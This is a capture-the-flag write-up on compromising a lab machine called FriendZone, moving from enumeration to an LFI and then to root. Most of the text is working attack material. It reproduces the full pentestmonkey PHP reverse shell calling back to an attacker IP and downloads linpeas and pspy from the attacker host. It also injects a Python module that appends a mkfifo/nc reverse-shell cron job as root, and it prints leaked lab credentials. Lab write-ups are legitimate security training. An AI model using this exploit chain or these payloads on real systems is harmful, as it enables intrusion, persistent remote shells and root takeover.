Enumeration
Defining a helper variable containing the IP and doing some basic enumeration:
export ip=10.10.10.123
ping $ip # TTL 63 - linux?
nmap -sC -sV $ip -p- -Pn
Ports
Port | Service | Notes |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.6p1 Ubuntu 4 protocol 2.0 |
53 | domain | ISC BIND 9.11.3-1ubuntu1.2 |
80 | http | Apache httpd 2.4.29 ((Ubuntu)) |
139 | netbios-ssn | Samba smbd 3.X - 4.X (workgroup: WORKGROUP) |
443 | ssl/http | Apache httpd 2.4.29 ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO |
445 | Samba | smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) |
Samba
Enum4Linux can be used to enumerate the samba service:
enum4linux -S $ip
Shares
Share | Type | Mapping | Listing | Writing | Comment |
---|---|---|---|---|---|
print$ | Disk | DENIED | N/A | N/A | Printer Drivers |
Files | Disk | DENIED | N/A | N/A | FriendZone Samba Server Files /etc/Files |
general | Disk | OK | OK | DENIED | FriendZone Samba Server Files |
Development | Disk | OK | OK | OK | FriendZone Samba Server Files |
$IPC | IPC | - | - | - | IPC Service (FriendZone server (Samba, Ubuntu)) |
At this point smbclient can be used to inspect the contents of the listable shares as an anonymous user. |
smbclient //$ip/general --no-pass
get creds.txt
exit
cat creds.txt
# creds for the admin THING:
#
# admin:WORKWORKHhallelujah@#
#
smbclient //$ip/Development --no-pass
# empty
Http
Dnsmasq can be used to add the domain recovered by nmap from the SSL cert to the resolvable hosts
echo "address=/friendzone.red/$ip" | sudo tee /etc/NetworkManager/dnsmasq.d/domains.conf
sudo systemctl restart NetworkManager
There’s a single page running at http://friendzone.red/ which has email info@friendzoneportal.red on the page.
There’s a separate simple page running on https://friendzone.red/ which need the self-signed SSL cert accepting in browser before visiting. Viewing the certificate in browser reveals email address haha@friendzone.red.
Since dns is running on tcp a zone transfer might reveal additional records:
dig axfr friendzone.red @10.10.10.123
# administrator1.friendzone.red
# hr.friendzone.red
# uploads.friendzone.red
LFI
The page administrator1.friendzone.red is showing a login portal (login.php), for which the credentials recovered from the samba share work.
This then links to https://administrator1.friendzone.red/dashboard.php
Which gives this as a valid param https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=timestamp
Which gets data from https://administrator1.friendzone.red/timestamp.php
Trying the payload ?image_id=a.jpg&pagename=login
shows wrong
as an output, probably from the login script itself. This proves there’s a Local Files Inclusion which can perhaps be used to exploit a reverse shell. The samba share development
can be written to to allow uploading the reverse shell, then some logical guessing on the location of the file:
php reverse shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.11'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
# reverse listeniner
nc -lvnp 4444
# upload via samba
smbclient //$ip/Development --no-pass
put php-reverse-shell.php
# attempt the rfi
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/php-reverse-shell
# grab flag
cat /home/friend/user.txt
We have python, so to stabilise the shell :
python3 -c 'import pty; pty.spawn("/bin/bash")'
# inside the nc session)
# CTRL+Z;
# stty -a (note down rows, cols)
# stty raw -echo; fg
# export SHELL=/bin/bash; export TERM=screen; stty rows 32 columns 156; reset;
Horizontal privilege escalation
There’s credentials insecurely stored in the web root
cd /var/www
cat mysql_data.conf
#
# db_user=friend
#
# db_pass=Agpyu12!0.213$
#
# db_name=FZ
su friend # Agpyu12!0.213$
Enumerate
# host linpeas
python -m http.server 8080
# target
cd /tmp
wget 10.10.14.11:8080/linpeas.sh
sh linpeas.sh > o
less -r o
# pspy
wget 10.10.14.11:8080/pspy64
chmod +x pspy64
./pspy64
# Linpeas shows /usr/lib/python2.7/os.py is world writable
# Pspy finds the following entires run by root:
2023/07/20 03:32:01 CMD: UID=0 PID=35501 | /usr/bin/python /opt/server_admin/reporter.py
2023/07/20 03:32:01 CMD: UID=0 PID=35500 | /bin/sh -c /opt/server_admin/reporter.py
2023/07/20 03:32:01 CMD: UID=0 PID=35499 | /usr/sbin/CRON -f
/opt/server_admin/reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
Since os is imported by a file ran by root on a timer and is world writable, it can be used for a python module injection exploit.
Vertical Privilege Escalation
Create a os.py with a reverse shell:
shell = '''
* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.11 1234 >/tmp/f
'''
f = open('/etc/crontab', 'a')
f.write(shell)
f.close()
Copy it into place, and wait the reverse shell:
cp os.py /usr/lib/python2.7/os.py
nc -lvnp 4444
# get reverse shell
cat /root/root.txt